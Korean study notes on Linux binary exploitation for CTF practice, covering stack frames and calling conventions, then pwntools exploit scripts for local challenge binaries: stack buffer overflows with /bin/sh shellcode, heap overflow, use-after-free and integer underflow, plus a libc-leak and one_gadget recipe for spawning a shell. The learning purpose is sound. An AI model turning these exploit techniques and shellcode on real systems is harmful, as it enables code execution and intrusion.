---
# System prepended metadata

title: 시스템 해킹

---

# 시스템 해킹

## 메모리

### 스택

- 높은 주소에서 낮은 주소로 공간을 할당함.
- 데이터를 넣을 땐 Push, 뺄 땐 Pop(32비트에선 4바이트씩, 64비트에선 8바이트씩 이동)
- SP(Stack Pointer)
- BP(Base Pointer)
- 지역 변수, 부모 함수의 베이스 포인터, 복귀 주소가 저장됨

## 함수의 호출과 복귀
### 함수 프롤로그
```
push rbp
mov rbp, rsp
```
1. 부모 함수의 베이스 포인터 백업
2. 새 베이스 포인터 선언

### 함수 에필로그
```
leave :
    mov rsp, rbp
    pop rbp

ret : 
    pop rip
``` 
함수의 구조나 운영체제, 버전 별로 조금씩 다를 수 있음
가장 통용되는 에필로그 명령은 위와 같음.
1. RBP 레지스터의 값을 부모 함수의 베이스로 복구
2. 복귀 주소로 복귀

### 함수 호출 규약(Calling Convention)
운영체제 별로 상이
64비트 리눅스의 경우 다음과 같음
```
rdi rsi rcx rdx r8 r9 stack..
```

## bof1
gdb 내에서 표준 입력 값 전달의 예
```
r <<< `perl -e 'print "A"x4,"B"x4'`
```

파이썬 스크립트
```python
from pwn import *

payload = b""
payload += b"A" * 0x208
payload += p64(0x4011dd)

p = process("./bof1")

print(p.recv(1024))
# gdb.attach(p)
# pause()

p.send(payload)
p.interactive()
```

## bof2

```python
from pwn import *

p = process("./bof2")

sc = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

output = p.recv(1024)
addr = output.split(b' @ ')[1].split(b'\n')[0]
addr = int(addr.decode(), 16)

payload = sc 
payload += b"A" * (0x208 - len(sc))
payload += p64(addr)
gdb.attach(p)
pause()
p.send(payload)
p.interactive()

```

## Advanced Buffer Overflow

1. 복귀 주소 조작 불가능
2. 내가 조작할 수 있는 데이터는 어떤 기능을 가지고 있는가?

RIP는 명령(셸코드)이 담긴 **주소**가 저장되는 레지스터.
그러므로, ***RIP에 셸코드가 담긴 주소가 입력***되도록 페이로드를 구성

```
from pwn import *

p = process("./advanced_bof")

sc = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

output = p.recv(1024)
addr = output.split(b' @ ')[1].split(b'\n')[0]
addr = int(addr.decode(), 16)

payload = p64(addr + 8)
payload += sc
payload += b"A" * (0x200 - len(payload))
payload += p64(addr - 8)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
```


## 심심한 사람을 위한 간단 BOF
```
wget https://tinyurl.com/smww7mjv -O bof.zip
```
압축 해제 시 src, Makefile, flag 파일 존재, 해당 위치에서 아래 명령 실행
```
make
```
명령어 입력 시 babyBof 바이너리 생성
해당 바이너리에는 **PIE**가 활성화 되어있음.
따라서 함수 주소가 실행 시마다 변경됨.
```
gdb -q babyBof
(peda) start
(peda) pd main
```
gdb로 디버깅 하려면, start 명령을 통해 메모리에 적재(실행)되어야만 실제 함수 주소 획득 가능
=> gdb를 통해 실행 시 매번 주소가 같지만, 실제로 파이썬을 통해 실행된 바이너리에 연결해보면 매번 주소가 달라짐을 알 수 있음

**목표는 getflag() 함수의 호출**

어렵게 생각하면 못 풀고, 실행을 반복하면서 메모리를 잘 관찰해야함. 기술적 테크닉 보단 센스를 요구하는 문제.

### Heap Based Buffer Overflow(Heap Overflow)

![image](https://hackmd.io/_uploads/Hk8aFV2txg.png)


```python=
from pwn import *

p = process("./heap_overflow")

# gdb.attach(p)
# pause()

def create():
    # menu
    p.recvuntil(b"> ")
    p.send(b"1\n")

def insert(idx, data):
    # menu
    p.recvuntil(b"> ")
    p.send(b"2\n")
    # select idx
    p.recvuntil(b"> ")
    p.send(idx + b'\n')
    # input
    p.recvuntil(b"> ")
    p.send(data + b'\n')

def modify(idx, data):
    # menu
    p.recvuntil(b"> ")
    p.send(b"3\n")
    # select idx
    p.recvuntil(b"> ")
    p.send(idx + b'\n')
    # input
    p.recvuntil(b"> ")
    p.send(data + b'\n')

create()
insert(b"0", b"AAAA")
create()
insert(b"1", b"AAAA")

payload = b"\x41" * 0x20
payload += p64(0x404090) # flag's address
modify(b"0", payload)

payload = p32(0x31337)
modify(b"1", payload)

p.recvuntil(b"\n")
print(p.recv(1024))
p.interactive()

```

캐스팅 해서 출력
```
p *(struct Data*)0x00000000004052a0
```

#### 셸?
보통 CTF 문제면 셸을 획득해야함
임의 주소에 대해 데이터를 읽고 쓸 수 있으면(**AARW**, **A**rbitrary **A**ddress **R**ead/**W**rite Primitive)
통상적으로 아래와 같은 방식으로 셸을 획득할 수 있음.

이건 중요한 건 아닌데, (기법 자체가 리눅스 유저레벨에서만 쓸 수 있으니)
보통 ctf 포너블 문제가 ELF 바이너리로 출제되고, 아래와 같은 방식으로 풀이하므로
대회를 나가거나 문제를 풀 생각이 있다면 알아둬야 함.
```python=
libc_bin = ELF("/lib/x86_64-linux-gnu/libc.so.6")
bin = ELF("./heap_overflow")

printf_in_libc = libc_bin.symbols["printf"]
environ = libc_bin.symbols["environ"]
printf_in_bin = bin.got["printf"]

# printf_in_bin 안에 저장된 포인터를 읽어서 printf 라이브러리 주소 획득

# 획득한 printf 주소에서 printf_in_libc를 빼서, libc의 시작 주소 획득

# libc의 시작 주소에서 environ을 더해 environ 주소를 획득하고, 해당 주소를 읽으면 스택 주소를 획득할 수 있음

# 획득한 스택 주소를 디버거에서 쭉 훑어보면서 리턴 주소를 찾음
# 획득한 스택 주소에서, 대상이 될 리턴 어드레스까지의 거리를 알아야 함
# 획득한 주소 - 거리 = 리턴 어드레스
# 스택의 주소는 매번 바뀌기 때문에.. 거리를 계산한 후에 획득한 스택 주소에서 해당 값을 뺴는 것.

# one_gadget /lib/x86_64-linux-gnu/libc.so.6
# 리턴 주소에 one_gadget으로 획득한 주소를 쓰면, 셸을 획득할 수 있음

```

heap_overflow.c의 readData 함수 코드를 아래와 같이 수정 후 진행
```clike
void readData(){
    ...
    write(1, data->ptr, data->size);
    // printf("[+] Data : %s\n\n", data->ptr);
    return;
}
```
보통 읽고 쓰는 기능을 함수로 정의해서 사용함.
기존 익스플로잇 코드에 아래 내용을 추가
```python=
def readData(idx):
    # menu
    p.recvuntil(b"> ")
    p.send(b"4\n")
    p.recvuntil(b"> ")
    p.send(idx + b'\n')
    return p.recv(8)

create()
insert(b"0", b"AAAAAAAA")

create()
insert(b"1", b"AAAAAAAA")

def read64(addr:int):
    payload = b"\x41" * 0x20
    payload += p64(addr)
    modify(b"0", payload)
    return u64(readData(b"1"))

def write64(addr:int, val:int, is32 = False):
    payload = b"\x41" * 0x20
    payload += p64(addr)
    modify(b"0", payload)

    if is32:
        modify(b"1", p32(val))
    else:
        modify(b"1", p64(val))

print(hex(read64(0x404098)))
write64(0x404098, 0x31337, True)
```

아래는 실제 출제된 포너블 문제의 풀이에서, 셸을 획득하는 부분의 코드임
문제 혹은 바이너리 별로 AARW를 구현하는 방법은 각자 다르지만, 이후의 익스플로잇 흐름은 사실상 대동소이함.

위 익스플로잇에도 거의 똑같이 적용 가능한듯?

```python=
write_in_libc = read64(write_got)
libcbase = write_in_libc - write_in_libc_offset
print(f"libcbase: {hex(libcbase)}")

environ_in_libc = libcbase + environ_in_libc_offset
stack = read64(environ_in_libc)
print(f"stack: {hex(stack)}")

stackToRet = 0x140
ret = stack - stackToRet

one_gadget_offset = 0xebd43
oneshot = libcbase + one_gadget_offset
writeRET(ret, oneshot)
```

Lazy Binding, Dynamic Linking

### Use After Free

![image](https://hackmd.io/_uploads/HyQmVKCtle.png)


```python=
from pwn import *

p = process("./use_after_free")
# gdb.attach(p)

flag = 0x404070

def setString(data):
    # menu
    p.recvuntil(b"> ")
    p.send(b"1\n")
    p.recvuntil(b"> ")
    p.sendline(data)

def delString():
    # menu
    p.recvuntil(b"> ")
    p.sendline(b"3\n")

def setNum(data):
    # menu
    p.recvuntil(b"> ")
    p.sendline(b"4")
    p.recvuntil(b"> ")
    p.sendline(data)

setString(b"AAAA")
delString()
setNum(f"{flag}".encode()) # p64(flag)
setString(p32(0x31337))

print(p.recv(1024))
```

### Integer Over/Underflow(Dict)

수를 표현하는 데이터 타입((u)int, (u)char, (u)short..)에서, 연산에 의해 해당 데이터 타입이 표현할 수 있는 값의 범위를 벗어났을 때 발생하는 취약점.

```c
unsigned int a = 0xffffffff;
a += 1;
printf("%u\n", a); // => 0

unsigned int b = 0;
b -= 1;
printf("%u\n", b) // => 4294967295
```

dict.c
```c
// 새로 입력할 값의 크기 > 남은 공간의 크기
if(len > DICT_SIZE - 2 - dicts[idx]->curSz)
        return -1;
```
curSz는 최대 DICT_SIZE만큼 증가할 수 있는데,
**DICT_SIZE - 1** 이상의 값을 가질 때부터, 우항의 연산 결과가 **음수(Integer Underflow)** 가 되어 매우 큰 값으로 인식.
결과적으로 **남은 공간의 크기** 가 매우 큰 값으로 인식되어
**Heap Overflow**로 이어지게 됨


```python=
from pwn import *

p = process('./dict')

flag = 0x404150

def createDict():
    p.recvuntil(b'> ')
    p.send(b'1\n')

def insert(idx, key, value):
    p.recvuntil(b'> ')
    p.send(b'2\n')
    p.recvuntil(b'Dict idx > ')
    p.sendline(idx)
    p.recvuntil(b'Key > ')
    p.send(key)
    p.recvuntil(b'Value > ')
    p.send(value)

createDict()
createDict()

for i in range(25):
    insert(b"0", b"a" * 32, b"b"*128)
    sleep(0.1)

insert(b"0", b"a" * 32, b"b"*11)
insert(b"0", b"A" * 16 + b"\x00" * 8 + p64(flag - 1), b"b" * 1)
insert(b"1", p64(0x31337), b"d")
p.interactive()
```

#### Overflow의 예
```c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

struct Wrapper{
    uint32_t cnt;
    struct structExample* arr;
};

struct structExample{
    int a;
    int b;
    void * ptr;
};

struct structExample* createExampleArr(uint32_t cnt){
    uint32_t sz = cnt * sizeof(struct structExample);
    struct structExample* t = malloc(sz);
    memset(t, 0, sz);
    return t;
}

int main(){
    uint32_t cnt;
    scanf("%d", &cnt);
    struct Wrapper * w = malloc(sizeof(struct Wrapper));
    w->cnt = cnt;
    w->arr = createExampleArr(cnt);
    for(int i = 0; i < w->cnt; i++){
        w->arr[i].a = 4;
        w->arr[i].b = 5;
        w->arr[i].ptr = NULL;
    }
    getchar();
}
```